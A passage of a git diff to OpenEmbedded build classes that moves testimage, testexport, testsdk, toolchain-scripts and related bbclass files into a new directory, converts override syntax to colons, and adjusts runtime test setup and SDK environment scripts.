- bb.fatal("SYSTEMD_AUTO_ENABLE_%s '%s' is not 'enable', 'disable', 'mask' or 'preset'" % (pkg, action))
+ bb.fatal("SYSTEMD_AUTO_ENABLE:%s '%s' is not 'enable', 'disable', 'mask' or 'preset'" % (pkg, action))
systemd_check_services()
}
-PACKAGESPLITFUNCS_prepend = "systemd_populate_packages "
+PACKAGESPLITFUNCS =+ "systemd_populate_packages"
python rm_systemd_unitdir (){
import shutil
@@ -226,7 +234,7 @@ python rm_sysvinit_initddir (){
}
do_install[postfuncs] += "${RMINITDIR} "
-RMINITDIR_class-target = " rm_sysvinit_initddir rm_systemd_unitdir "
-RMINITDIR_class-nativesdk = " rm_sysvinit_initddir rm_systemd_unitdir "
+RMINITDIR:class-target = " rm_sysvinit_initddir rm_systemd_unitdir "
+RMINITDIR:class-nativesdk = " rm_sysvinit_initddir rm_systemd_unitdir "
RMINITDIR = ""
diff --git a/meta/classes/testexport.bbclass b/meta/classes-recipe/testexport.bbclass
index 59cbaefbf9..572f5d9e76 100644
--- a/meta/classes/testexport.bbclass
+++ b/meta/classes-recipe/testexport.bbclass
@@ -1,19 +1,20 @@
# Copyright (C) 2016 Intel Corporation
#
-# Released under the MIT license (see COPYING.MIT)
-#
+# SPDX-License-Identifier: MIT
#
# testexport.bbclass allows to execute runtime test outside OE environment.
# Most of the tests are commands run on target image over ssh.
# To use it add testexport to global inherit and call your target image with -c testexport
# You can try it out like this:
# - First build an image. i.e. core-image-sato
-# - Add INHERIT += "testexport" in local.conf
+# - Add IMAGE_CLASSES += "testexport" in local.conf
# - Then bitbake core-image-sato -c testexport. That will generate the directory structure
# to execute the runtime tests using runexported.py.
#
# For more information on TEST_SUITES check testimage class.
+inherit testimage
+
TEST_LOG_DIR ?= "${WORKDIR}/testexport"
TEST_EXPORT_DIR ?= "${TMPDIR}/testexport/${PN}"
TEST_EXPORT_PACKAGED_DIR ?= "packages/packaged"
@@ -23,10 +24,9 @@ TEST_TARGET ?= "simpleremote"
TEST_TARGET_IP ?= ""
TEST_SERVER_IP ?= ""
-TEST_EXPORT_SDK_PACKAGES ?= ""
+require conf/testexport.conf
+
TEST_EXPORT_SDK_ENABLED ?= "0"
-TEST_EXPORT_SDK_NAME ?= "testexport-tools-nativesdk"
-TEST_EXPORT_SDK_DIR ?= "sdk"
TEST_EXPORT_DEPENDS = ""
TEST_EXPORT_DEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'cpio-native:do_populate_sysroot', '', d)}"
@@ -61,16 +61,12 @@ def testexport_main(d):
d.getVar("TEST_TARGET"), None, d.getVar("TEST_TARGET_IP"),
d.getVar("TEST_SERVER_IP"))
- host_dumper = OERuntimeTestContextExecutor.getHostDumper(
- d.getVar("testimage_dump_host"), d.getVar("TESTIMAGE_DUMP_DIR"))
-
image_manifest = "%s.manifest" % image_name
image_packages = OERuntimeTestContextExecutor.readPackagesManifest(image_manifest)
extract_dir = d.getVar("TEST_EXTRACTED_DIR")
- tc = OERuntimeTestContext(td, logger, target, host_dumper,
- image_packages, extract_dir)
+ tc = OERuntimeTestContext(td, logger, target, image_packages, extract_dir)
copy_needed_files(d, tc)
@@ -137,7 +133,7 @@ def copy_needed_files(d, tc):
shutil.rmtree(os.path.join(subdir, dir))
# Create tar file for common parts of testexport
- create_tarball(d, "testexport.tar.gz", d.getVar("TEST_EXPORT_DIR"))
+ testexport_create_tarball(d, "testexport.tar.gz", d.getVar("TEST_EXPORT_DIR"))
# Copy packages needed for runtime testing
package_extraction(d, tc.suites)
@@ -146,7 +142,7 @@ def copy_needed_files(d, tc):
export_pkg_dir = os.path.join(d.getVar("TEST_EXPORT_DIR"), "packages")
oe.path.copytree(test_pkg_dir, export_pkg_dir)
# Create tar file for packages needed by the DUT
- create_tarball(d, "testexport_packages_%s.tar.gz" % d.getVar("MACHINE"), export_pkg_dir)
+ testexport_create_tarball(d, "testexport_packages_%s.tar.gz" % d.getVar("MACHINE"), export_pkg_dir)
# Copy SDK
if d.getVar("TEST_EXPORT_SDK_ENABLED") == "1":
@@ -159,11 +155,11 @@ def copy_needed_files(d, tc):
shutil.copy2(tarball_path, export_sdk_dir)
# Create tar file for the sdk
- create_tarball(d, "testexport_sdk_%s.tar.gz" % d.getVar("SDK_ARCH"), export_sdk_dir)
+ testexport_create_tarball(d, "testexport_sdk_%s.tar.gz" % d.getVar("SDK_ARCH"), export_sdk_dir)
bb.plain("Exported tests to: %s" % export_path)
-def create_tarball(d, tar_name, src_dir):
+def testexport_create_tarball(d, tar_name, src_dir):
import tarfile
@@ -178,5 +174,3 @@ def create_tarball(d, tar_name, src_dir):
tar.add(base_name)
tar.close()
os.chdir(current_dir)
-
-inherit testimage
diff --git a/meta/classes/testimage.bbclass b/meta/classes-recipe/testimage.bbclass
index 00f0c29836..ed0d87b7a7 100644
--- a/meta/classes/testimage.bbclass
+++ b/meta/classes-recipe/testimage.bbclass
@@ -1,8 +1,10 @@
# Copyright (C) 2013 Intel Corporation
#
-# Released under the MIT license (see COPYING.MIT)
+# SPDX-License-Identifier: MIT
inherit metadata_scm
+inherit image-artifact-names
+
# testimage.bbclass enables testing of qemu images using python unittests.
# Most of the tests are commands run on target image over ssh.
# To use it add testimage to global inherit and call your target image with -c testimage
@@ -16,6 +18,18 @@ inherit metadata_scm
TESTIMAGE_AUTO ??= "0"
+# When any test fails, TESTIMAGE_FAILED_QA ARTIFACTS will be parsed and for
+# each entry in it, if artifact pointed by path description exists on target,
+# it will be retrieved onto host
+
+TESTIMAGE_FAILED_QA_ARTIFACTS = "\
+ ${localstatedir}/log \
+ ${sysconfdir}/version \
+ ${sysconfdir}/os-release"
+
+# If some ptests are run and fail, retrieve corresponding directories
+TESTIMAGE_FAILED_QA_ARTIFACTS += "${@bb.utils.contains('DISTRO_FEATURES', 'ptest', '${libdir}/${MCNAME}/ptest', '', d)}"
+
# You can set (or append to) TEST_SUITES in local.conf to select the tests
# which you want to run for your target.
# The test names are the module names in meta/lib/oeqa/runtime/cases.
@@ -34,6 +48,7 @@ TESTIMAGE_AUTO ??= "0"
# TEST_OVERALL_TIMEOUT can be used to set the maximum time in seconds the tests will be allowed to run (defaults to no limit).
# TEST_QEMUPARAMS can be used to pass extra parameters to qemu, e.g. "-m 1024" for setting the amount of ram to 1 GB.
# TEST_RUNQEMUPARAMS can be used to pass extra parameters to runqemu, e.g. "gl" to enable OpenGL acceleration.
+# QEMU_USE_KVM can be set to "" to disable the use of kvm (by default it is enabled if target_arch == build_arch or both of them are x86 archs)
# TESTIMAGE_BOOT_PATTERNS can be used to override certain patterns used to communicate with the target when booting,
# if a pattern is not specifically present on this variable a default will be used when booting the target.
@@ -58,23 +73,22 @@ BASICTESTSUITE = "\
ping date df ssh scp python perl gi ptest parselogs \
logrotate connman systemd oe_syslog pam stap ldd xorg \
kernelmodule gcc buildcpio buildlzip buildgalculator \
- dnf rpm opkg apt weston"
+ dnf rpm opkg apt weston go rust"
DEFAULT_TEST_SUITES = "${BASICTESTSUITE}"
-# aarch64 has no graphics
-DEFAULT_TEST_SUITES_remove_aarch64 = "xorg"
# musl doesn't support systemtap
-DEFAULT_TEST_SUITES_remove_libc-musl = "stap"
+DEFAULT_TEST_SUITES:remove:libc-musl = "stap"
# qemumips is quite slow and has reached the timeout limit several times on the YP build cluster,
# mitigate this by removing build tests for qemumips machines.
MIPSREMOVE ??= "buildcpio buildlzip buildgalculator"
-DEFAULT_TEST_SUITES_remove_qemumips = "${MIPSREMOVE}"
-DEFAULT_TEST_SUITES_remove_qemumips64 = "${MIPSREMOVE}"
+DEFAULT_TEST_SUITES:remove:qemumips = "${MIPSREMOVE}"
+DEFAULT_TEST_SUITES:remove:qemumips64 = "${MIPSREMOVE}"
TEST_SUITES ?= "${DEFAULT_TEST_SUITES}"
+QEMU_USE_KVM ?= "1"
TEST_QEMUBOOT_TIMEOUT ?= "1000"
TEST_OVERALL_TIMEOUT ?= ""
TEST_TARGET ?= "qemu"
@@ -84,7 +98,7 @@ TEST_RUNQEMUPARAMS ?= ""
TESTIMAGE_BOOT_PATTERNS ?= ""
TESTIMAGEDEPENDS = ""
-TESTIMAGEDEPENDS_append_qemuall = " qemu-native:do_populate_sysroot qemu-helper-native:do_populate_sysroot qemu-helper-native:do_addto_recipe_sysroot"
+TESTIMAGEDEPENDS:append:qemuall = " qemu-native:do_populate_sysroot qemu-helper-native:do_populate_sysroot qemu-helper-native:do_addto_recipe_sysroot"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'cpio-native:do_populate_sysroot', '', d)}"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'dnf-native:do_populate_sysroot', '', d)}"
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'rpm', 'createrepo-c-native:do_populate_sysroot', '', d)}"
@@ -92,37 +106,16 @@ TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'ipk', 'opkg-utils-na
TESTIMAGEDEPENDS += "${@bb.utils.contains('IMAGE_PKGTYPE', 'deb', 'apt-native:do_populate_sysroot package-index:do_package_index', '', d)}"
TESTIMAGELOCK = "${TMPDIR}/testimage.lock"
-TESTIMAGELOCK_qemuall = ""
+TESTIMAGELOCK:qemuall = ""
TESTIMAGE_DUMP_DIR ?= "${LOG_DIR}/runtime-hostdump/"
-TESTIMAGE_UPDATE_VARS ?= "DL_DIR WORKDIR DEPLOY_DIR"
-
-testimage_dump_target () {
- top -bn1
- ps
- free
- df
- # The next command will export the default gateway IP
- export DEFAULT_GATEWAY=$(ip route | awk '/default/ { print $3}')
- ping -c3 $DEFAULT_GATEWAY
- dmesg
- netstat -an
- ip address
- # Next command will dump logs from /var/log/
- find /var/log/ -type f 2>/dev/null -exec echo "====================" \; -exec echo {} \; -exec echo "====================" \; -exec cat {} \; -exec echo "" \;
-}
+TESTIMAGE_UPDATE_VARS ?= "DL_DIR WORKDIR DEPLOY_DIR_IMAGE IMAGE_LINK_NAME"
-testimage_dump_host () {
- top -bn1
- iostat -x -z -N -d -p ALL 20 2
- ps -ef
- free
- df
- memstat
- dmesg
- ip -s link
- netstat -an
+testimage_dump_monitor () {
+ query-status
+ query-block
+ dump-guest-memory {"paging":false,"protocol":"file:%s.img"}
}
python do_testimage() {
@@ -131,6 +124,7 @@ python do_testimage() {
addtask testimage
do_testimage[nostamp] = "1"
+do_testimage[network] = "1"
do_testimage[depends] += "${TESTIMAGEDEPENDS}"
do_testimage[lockfiles] += "${TESTIMAGELOCK}"
@@ -155,13 +149,6 @@ def get_testimage_configuration(d, test_type, machine):
return configuration
get_testimage_configuration[vardepsexclude] = "DATETIME"
-def get_testimage_json_result_dir(d):
- json_result_dir = os.path.join(d.getVar("LOG_DIR"), 'oeqa')
- custom_json_result_dir = d.getVar("OEQA_JSON_RESULT_DIR")
- if custom_json_result_dir:
- json_result_dir = custom_json_result_dir
- return json_result_dir
-
def get_testimage_result_id(configuration):
return '%s_%s_%s_%s' % (configuration['TEST_TYPE'], configuration['IMAGE_BASENAME'], configuration['MACHINE'], configuration['STARTTIME'])
@@ -180,27 +167,24 @@ def get_testimage_boot_patterns(d):
search_login_succeeded,search_cmd_finished\n Make sure your TESTIMAGE_BOOT_PATTERNS=%s \
contains an accepted flag.' % d.getVar('TESTIMAGE_BOOT_PATTERNS'))
return
- # We know boot prompt is searched through in binary format, others might be expressions
- if flag == 'search_reached_prompt':
- boot_patterns[flag] = flagval.encode()
- else:
- boot_patterns[flag] = flagval.encode().decode('unicode-escape')
+ boot_patterns[flag] = flagval.encode().decode('unicode-escape')
return boot_patterns
-
def testimage_main(d):
import os
import json
import signal
import logging
+ import shutil
from bb.utils import export_proxies
- from oeqa.core.utils.misc import updateTestData
from oeqa.runtime.context import OERuntimeTestContext
from oeqa.runtime.context import OERuntimeTestContextExecutor
from oeqa.core.target.qemu import supported_fstypes
from oeqa.core.utils.test import getSuiteCases
from oeqa.utils import make_logger_bitbake_compatible
+ from oeqa.utils import get_json_result_dir
+ from oeqa.utils.postactions import run_failed_tests_post_actions
def sigterm_exception(signum, stackframe):
"""
@@ -228,13 +212,16 @@ def testimage_main(d):
tdname = "%s.testdata.json" % image_name
try:
- td = json.load(open(tdname, "r"))
- except (FileNotFoundError) as err:
- bb.fatal('File %s Not Found. Have you built the image with INHERIT+="testimage" in the conf/local.conf?' % tdname)
+ with open(tdname, "r") as f:
+ td = json.load(f)
+ except FileNotFoundError as err:
+ bb.fatal('File %s not found (%s).\nHave you built the image with IMAGE_CLASSES += "testimage" in the conf/local.conf?' % (tdname, err))
# Some variables need to be updates (mostly paths) with the
# ones of the current environment because some tests require them.
- updateTestData(d, td, d.getVar('TESTIMAGE_UPDATE_VARS').split())
+ for var in d.getVar('TESTIMAGE_UPDATE_VARS').split():
+ td[var] = d.getVar(var)
+ td['ORIGPATH'] = d.getVar("BB_ORIGENV").getVar("PATH")
image_manifest = "%s.manifest" % image_name
image_packages = OERuntimeTestContextExecutor.readPackagesManifest(image_manifest)
@@ -285,7 +272,7 @@ def testimage_main(d):
ovmf = d.getVar("QEMU_USE_OVMF")
slirp = False
- if d.getVar("QEMU_USE_SLIRP"):
+ if bb.utils.contains('TEST_RUNQEMUPARAMS', 'slirp', True, False, d):
slirp = True
# TODO: We use the current implementation of qemu runner because of
@@ -303,20 +290,18 @@ def testimage_main(d):
'dump_dir' : d.getVar("TESTIMAGE_DUMP_DIR"),
'serial_ports': len(d.getVar("SERIAL_CONSOLES").split()),
'ovmf' : ovmf,
+ 'tmpfsdir' : d.getVar("RUNQEMU_TMPFS_DIR"),
}
if d.getVar("TESTIMAGE_BOOT_PATTERNS"):
target_kwargs['boot_patterns'] = get_testimage_boot_patterns(d)
- # TODO: Currently BBPATH is needed for custom loading of targets.
- # It would be better to find these modules using instrospection.
- target_kwargs['target_modules_path'] = d.getVar('BBPATH')
-
# hardware controlled targets might need further access
target_kwargs['powercontrol_cmd'] = d.getVar("TEST_POWERCONTROL_CMD") or None
target_kwargs['powercontrol_extra_args'] = d.getVar("TEST_POWERCONTROL_EXTRA_ARGS") or ""
target_kwargs['serialcontrol_cmd'] = d.getVar("TEST_SERIALCONTROL_CMD") or None
target_kwargs['serialcontrol_extra_args'] = d.getVar("TEST_SERIALCONTROL_EXTRA_ARGS") or ""
+ target_kwargs['testimage_dump_monitor'] = d.getVar("testimage_dump_monitor") or ""
def export_ssh_agent(d):
import os
@@ -333,19 +318,24 @@ def testimage_main(d):
# runtime use network for download projects for build
export_proxies(d)
- # we need the host dumper in test context
- host_dumper = OERuntimeTestContextExecutor.getHostDumper(
- d.getVar("testimage_dump_host"),
- d.getVar("TESTIMAGE_DUMP_DIR"))
+ if slirp:
+ # Default to 127.0.0.1 and let the runner identify the port forwarding
+ # (as OEQemuTarget does), but allow overriding.
+ target_ip = d.getVar("TEST_TARGET_IP") or "127.0.0.1"
+ # Default to 10.0.2.2 as this is the IP that the guest has with the
+ # default qemu slirp networking configuration, but allow overriding.
+ server_ip = d.getVar("TEST_SERVER_IP") or "10.0.2.2"
+ else:
+ target_ip = d.getVar("TEST_TARGET_IP")
+ server_ip = d.getVar("TEST_SERVER_IP")
# the robot dance
target = OERuntimeTestContextExecutor.getTarget(
- d.getVar("TEST_TARGET"), logger, d.getVar("TEST_TARGET_IP"),
- d.getVar("TEST_SERVER_IP"), **target_kwargs)
+ d.getVar("TEST_TARGET"), logger, target_ip,
+ server_ip, **target_kwargs)
# test context
- tc = OERuntimeTestContext(td, logger, target, host_dumper,
- image_packages, extract_dir)
+ tc = OERuntimeTestContext(td, logger, target, image_packages, extract_dir)
# Load tests before starting the target
test_paths = get_runtime_paths(d)
@@ -364,6 +354,7 @@ def testimage_main(d):
package_extraction(d, tc.suites)
results = None
+ complete = False
orig_sigterm_handler = signal.signal(signal.SIGTERM, sigterm_exception)
try:
# We need to check if runqemu ends unexpectedly
@@ -375,6 +366,9 @@ def testimage_main(d):
except ValueError:
pass
results = tc.runTests()
+ complete = True
+ if results.hasAnyFailingTest():
+ run_failed_tests_post_actions(d, tc)
except (KeyboardInterrupt, BlockingIOError) as err:
if isinstance(err, KeyboardInterrupt):
bb.error('testimage interrupted, shutting down...')
@@ -382,22 +376,30 @@ def testimage_main(d):
bb.error('runqemu failed, shutting down...')
if results:
results.stop()
- results = None
+ results = tc.results
finally:
signal.signal(signal.SIGTERM, orig_sigterm_handler)
tc.target.stop()
# Show results (if we have them)
- if not results:
- bb.fatal('%s - FAILED - tests were interrupted during execution' % pn, forcelog=True)
- configuration = get_testimage_configuration(d, 'runtime', machine)
- results.logDetails(get_testimage_json_result_dir(d),
- configuration,
- get_testimage_result_id(configuration),
- dump_streams=d.getVar('TESTREPORT_FULLLOGS'))
- results.logSummary(pn)
+ if results:
+ configuration = get_testimage_configuration(d, 'runtime', machine)
+ results.logDetails(get_json_result_dir(d),
+ configuration,
+ get_testimage_result_id(configuration),
+ dump_streams=d.getVar('TESTREPORT_FULLLOGS'))
+ results.logSummary(pn)
+
+ # Copy additional logs to tmp/log/oeqa so it's easier to find them
+ targetdir = os.path.join(get_json_result_dir(d), d.getVar("PN"))
+ os.makedirs(targetdir, exist_ok=True)
+ os.symlink(bootlog, os.path.join(targetdir, os.path.basename(bootlog)))
+ os.symlink(d.getVar("BB_LOGFILE"), os.path.join(targetdir, os.path.basename(d.getVar("BB_LOGFILE") + "." + d.getVar('DATETIME'))))
+
+ if not results or not complete:
+ bb.fatal('%s - FAILED - tests were interrupted during execution, check the logs in %s' % (pn, d.getVar("LOG_DIR")), forcelog=True)
if not results.wasSuccessful():
- bb.fatal('%s - FAILED - check the task log and the ssh log' % pn, forcelog=True)
+ bb.fatal('%s - FAILED - also check the logs in %s' % (pn, d.getVar("LOG_DIR")), forcelog=True)
def get_runtime_paths(d):
"""
@@ -452,7 +454,7 @@ def create_rpm_index(d):
package_list = glob.glob(idx_path + "*/*.rpm")
for pkg in package_list:
- if not os.path.basename(pkg).startswith(("rpm", "run-postinsts", "busybox", "bash", "update-alternatives", "libc6", "curl", "musl")):
+ if not os.path.basename(pkg).startswith(("dnf-test-", "busybox", "update-alternatives", "libc6", "musl")):
bb.utils.remove(pkg)
bb.utils.unlockfile(lf)
diff --git a/meta/classes/testsdk.bbclass b/meta/classes-recipe/testsdk.bbclass
index 758a23ac55..fd82e6ef41 100644
--- a/meta/classes/testsdk.bbclass
+++ b/meta/classes-recipe/testsdk.bbclass
@@ -1,6 +1,6 @@
# Copyright (C) 2013 - 2016 Intel Corporation
#
-# Released under the MIT license (see COPYING.MIT)
+# SPDX-License-Identifier: MIT
# testsdk.bbclass enables testing for SDK and Extensible SDK
#
@@ -36,12 +36,14 @@ python do_testsdk() {
}
addtask testsdk
do_testsdk[nostamp] = "1"
+do_testsdk[network] = "1"
python do_testsdkext() {
import_and_run('TESTSDKEXT_CLASS_NAME', d)
}
addtask testsdkext
do_testsdkext[nostamp] = "1"
+do_testsdkext[network] = "1"
python () {
if oe.types.boolean(d.getVar("TESTIMAGE_AUTO") or "False"):
diff --git a/meta/classes-recipe/texinfo.bbclass b/meta/classes-recipe/texinfo.bbclass
new file mode 100644
index 0000000000..380247faf5
--- /dev/null
+++ b/meta/classes-recipe/texinfo.bbclass
@@ -0,0 +1,24 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# This class is inherited by recipes whose upstream packages invoke the
+# texinfo utilities at build-time. Native and cross recipes are made to use the
+# dummy scripts provided by texinfo-dummy-native, for improved performance.
+# Target architecture recipes use the genuine Texinfo utilities. By default,
+# they use the Texinfo utilities on the host system. If you want to use the
+# Texinfo recipe, you can remove texinfo-native from ASSUME_PROVIDED and
+# makeinfo from SANITY_REQUIRED_UTILITIES.
+
+TEXDEP = "${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'texinfo-replacement-native', 'texinfo-dummy-native', d)}"
+TEXDEP:class-native = "texinfo-dummy-native"
+TEXDEP:class-cross = "texinfo-dummy-native"
+TEXDEP:class-crosssdk = "texinfo-dummy-native"
+TEXDEP:class-cross-canadian = "texinfo-dummy-native"
+DEPENDS:append = " ${TEXDEP}"
+
+# libtool-cross doesn't inherit cross
+TEXDEP:pn-libtool-cross = "texinfo-dummy-native"
+
diff --git a/meta/classes/toolchain-scripts-base.bbclass b/meta/classes-recipe/toolchain-scripts-base.bbclass
index 2489b9dbeb..d24a986e02 100644
--- a/meta/classes/toolchain-scripts-base.bbclass
+++ b/meta/classes-recipe/toolchain-scripts-base.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
#This function create a version information file
toolchain_create_sdk_version () {
local versionfile=$1
diff --git a/meta/classes/toolchain-scripts.bbclass b/meta/classes-recipe/toolchain-scripts.bbclass
index db1d3215ef..6bfe0b6de0 100644
--- a/meta/classes/toolchain-scripts.bbclass
+++ b/meta/classes-recipe/toolchain-scripts.bbclass
@@ -1,13 +1,21 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
inherit toolchain-scripts-base siteinfo kernel-arch
# We want to be able to change the value of MULTIMACH_TARGET_SYS, because it
# doesn't always match our expectations... but we default to the stock value
REAL_MULTIMACH_TARGET_SYS ?= "${MULTIMACH_TARGET_SYS}"
-TARGET_CC_ARCH_append_libc-musl = " -mmusl"
+TARGET_CC_ARCH:append:libc-musl = " -mmusl"
# default debug prefix map isn't valid in the SDK
DEBUG_PREFIX_MAP = ""
+EXPORT_SDK_PS1 = "${@ 'export PS1=\\"%s\\"' % d.getVar('SDK_PS1') if d.getVar('SDK_PS1') else ''}"
+
# This function creates an environment-setup-script for use in a deployable SDK
toolchain_create_sdk_env_script () {
# Create environment setup script. Remember that $SDKTARGETSYSROOT should
@@ -29,7 +37,7 @@ toolchain_create_sdk_env_script () {
echo '# http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html#AEN80' >> $script
echo '# http://xahlee.info/UnixResource_dir/_/ldpath.html' >> $script
echo '# Only disable this check if you are absolutely know what you are doing!' >> $script
- echo 'if [ ! -z "$LD_LIBRARY_PATH" ]; then' >> $script
+ echo 'if [ ! -z "${LD_LIBRARY_PATH:-}" ]; then' >> $script
echo " echo \"Your environment is misconfigured, you probably need to 'unset LD_LIBRARY_PATH'\"" >> $script
echo " echo \"but please check why this was set in the first place and that it's safe to unset.\"" >> $script
echo ' echo "The SDK will not operate correctly in most cases when LD_LIBRARY_PATH is set."' >> $script
@@ -39,12 +47,13 @@ toolchain_create_sdk_env_script () {
echo ' return 1' >> $script
echo 'fi' >> $script
+ echo "${EXPORT_SDK_PS1}" >> $script
echo 'export SDKTARGETSYSROOT='"$sysroot" >> $script
EXTRAPATH=""
for i in ${CANADIANEXTRAOS}; do
EXTRAPATH="$EXTRAPATH:$sdkpathnative$bindir/${TARGET_ARCH}${TARGET_VENDOR}-$i"
done
- echo "export PATH=$sdkpathnative$bindir:$sdkpathnative$sbindir:$sdkpathnative$base_bindir:$sdkpathnative$base_sbindir:$sdkpathnative$bindir/../${HOST_SYS}/bin:$sdkpathnative$bindir/${TARGET_SYS}"$EXTRAPATH':$PATH' >> $script
+ echo "export PATH=$sdkpathnative$bindir:$sdkpathnative$sbindir:$sdkpathnative$base_bindir:$sdkpathnative$base_sbindir:$sdkpathnative$bindir/../${HOST_SYS}/bin:$sdkpathnative$bindir/${TARGET_SYS}"$EXTRAPATH':"$PATH"' >> $script
echo 'export PKG_CONFIG_SYSROOT_DIR=$SDKTARGETSYSROOT' >> $script
echo 'export PKG_CONFIG_PATH=$SDKTARGETSYSROOT'"$libdir"'/pkgconfig:$SDKTARGETSYSROOT'"$prefix"'/share/pkgconfig' >> $script
echo 'export CONFIG_SITE=${SDKPATH}/site-config-'"${multimach_target_sys}" >> $script
@@ -60,23 +69,46 @@ toolchain_create_sdk_env_script () {
toolchain_shared_env_script
}
-# This function creates an environment-setup-script in the TMPDIR which enables
+# This function creates an environment-setup-script in B which enables
# a OE-core IDE to integrate with the build tree
+# Caller must ensure CONFIG_SITE is setup
toolchain_create_tree_env_script () {
- script=${TMPDIR}/environment-setup-${REAL_MULTIMACH_TARGET_SYS}
+ script=${B}/environment-setup-${REAL_MULTIMACH_TARGET_SYS}
rm -f $script
touch $script
+ echo 'standalone_sysroot_target="${STAGING_DIR}/${MACHINE}"' >> $script
+ echo 'standalone_sysroot_native="${STAGING_DIR}/${BUILD_ARCH}"' >> $script
echo 'orig=`pwd`; cd ${COREBASE}; . ./oe-init-build-env ${TOPDIR}; cd $orig' >> $script
- echo 'export PATH=${STAGING_DIR_NATIVE}/usr/bin:${STAGING_BINDIR_TOOLCHAIN}:$PATH' >> $script
- echo 'export PKG_CONFIG_SYSROOT_DIR=${PKG_CONFIG_SYSROOT_DIR}' >> $script
- echo 'export PKG_CONFIG_PATH=${PKG_CONFIG_PATH}' >> $script
- echo 'export CONFIG_SITE="${@siteinfo_get_files(d)}"' >> $script
- echo 'export SDKTARGETSYSROOT=${STAGING_DIR_TARGET}' >> $script
- echo 'export OECORE_NATIVE_SYSROOT="${STAGING_DIR_NATIVE}"' >> $script
- echo 'export OECORE_TARGET_SYSROOT="${STAGING_DIR_TARGET}"' >> $script
- echo 'export OECORE_ACLOCAL_OPTS="-I ${STAGING_DIR_NATIVE}/usr/share/aclocal"' >> $script
+ echo 'export PATH=$standalone_sysroot_native/${bindir_native}:$standalone_sysroot_native/${bindir_native}/${TARGET_SYS}:$PATH' >> $script
+ echo 'export PKG_CONFIG_SYSROOT_DIR=$standalone_sysroot_target' >> $script
+ echo 'export PKG_CONFIG_PATH=$standalone_sysroot_target'"$libdir"'/pkgconfig:$standalone_sysroot_target'"$prefix"'/share/pkgconfig' >> $script
+ echo 'export CONFIG_SITE="${CONFIG_SITE}"' >> $script
+ echo 'export SDKTARGETSYSROOT=$standalone_sysroot_target' >> $script
+ echo 'export OECORE_NATIVE_SYSROOT=$standalone_sysroot_native' >> $script
+ echo 'export OECORE_TARGET_SYSROOT=$standalone_sysroot_target' >> $script
+ echo 'export OECORE_ACLOCAL_OPTS="-I $standalone_sysroot_native/usr/share/aclocal"' >> $script
+ echo 'export OECORE_BASELIB="${baselib}"' >> $script
+ echo 'export OECORE_TARGET_ARCH="${TARGET_ARCH}"' >>$script
+ echo 'export OECORE_TARGET_OS="${TARGET_OS}"' >>$script
toolchain_shared_env_script
+
+ cat >> $script <<EOF
+
+if [ -d "\$OECORE_NATIVE_SYSROOT/${datadir}/post-relocate-setup.d/" ]; then
+ for s in \$OECORE_NATIVE_SYSROOT/${datadir}/post-relocate-setup.d/*; do
+ if [ ! -x \$s ]; then
+ continue
+ fi
+ \$s "\$1"
+ status=\$?
+ if [ \$status != 0 ]; then
+ echo "post-relocate command \"\$s \$1\" failed with status \$status" >&2
+ exit \$status
+ fi
+ done
+fi
+EOF
}
toolchain_shared_env_script () {
@@ -105,6 +137,7 @@ toolchain_shared_env_script () {
echo 'export OECORE_SDK_VERSION="${SDK_VERSION}"' >> $script
echo 'export ARCH=${ARCH}' >> $script
echo 'export CROSS_COMPILE=${TARGET_PREFIX}' >> $script
+ echo 'export OECORE_TUNE_CCARGS="${TUNE_CCARGS}"' >> $script
cat >> $script <<EOF
@@ -158,7 +191,7 @@ EOF
}
#we get the cached site config in the runtime
-TOOLCHAIN_CONFIGSITE_NOCACHE = "${@siteinfo_get_files(d)}"
+TOOLCHAIN_CONFIGSITE_NOCACHE = "${@' '.join(siteinfo_get_files(d)[0])}"
TOOLCHAIN_CONFIGSITE_SYSROOTCACHE = "${STAGING_DIR}/${MLPREFIX}${MACHINE}/${target_datadir}/${TARGET_SYS}_config_site.d"
TOOLCHAIN_NEED_CONFIGSITE_CACHE ??= "virtual/${MLPREFIX}libc ncurses"
DEPENDS += "${TOOLCHAIN_NEED_CONFIGSITE_CACHE}"
diff --git a/meta/classes-recipe/uboot-config.bbclass b/meta/classes-recipe/uboot-config.bbclass
new file mode 100644
index 0000000000..e55fc38b7c
--- /dev/null
+++ b/meta/classes-recipe/uboot-config.bbclass
@@ -0,0 +1,148 @@
+# Handle U-Boot config for a machine
+#
+# The format to specify it, in the machine, is:
+#
+# UBOOT_CONFIG ??= <default>
+# UBOOT_CONFIG[foo] = "config,images,binary"
+#
+# or
+#
+# UBOOT_MACHINE = "config"
+#
+# Copyright 2013, 2014 (C) O.S. Systems Software LTDA.
+#
+# SPDX-License-Identifier: MIT
+
+
+def removesuffix(s, suffix):
+ if suffix and s.endswith(suffix):
+ return s[:-len(suffix)]
+ return s
+
+UBOOT_ENTRYPOINT ?= "20008000"
+UBOOT_LOADADDRESS ?= "${UBOOT_ENTRYPOINT}"
+
+# Some versions of u-boot use .bin and others use .img. By default use .bin
+# but enable individual recipes to change this value.
+UBOOT_SUFFIX ??= "bin"
+UBOOT_BINARY ?= "u-boot.${UBOOT_SUFFIX}"
+UBOOT_BINARYNAME ?= "${@os.path.splitext(d.getVar("UBOOT_BINARY"))[0]}"
+UBOOT_IMAGE ?= "${UBOOT_BINARYNAME}-${MACHINE}-${PV}-${PR}.${UBOOT_SUFFIX}"
+UBOOT_SYMLINK ?= "${UBOOT_BINARYNAME}-${MACHINE}.${UBOOT_SUFFIX}"
+UBOOT_MAKE_TARGET ?= "all"
+
+# Output the ELF generated. Some platforms can use the ELF file and directly
+# load it (JTAG booting, QEMU) additionally the ELF can be used for debugging
+# purposes.
+UBOOT_ELF ?= ""
+UBOOT_ELF_SUFFIX ?= "elf"
+UBOOT_ELF_IMAGE ?= "u-boot-${MACHINE}-${PV}-${PR}.${UBOOT_ELF_SUFFIX}"
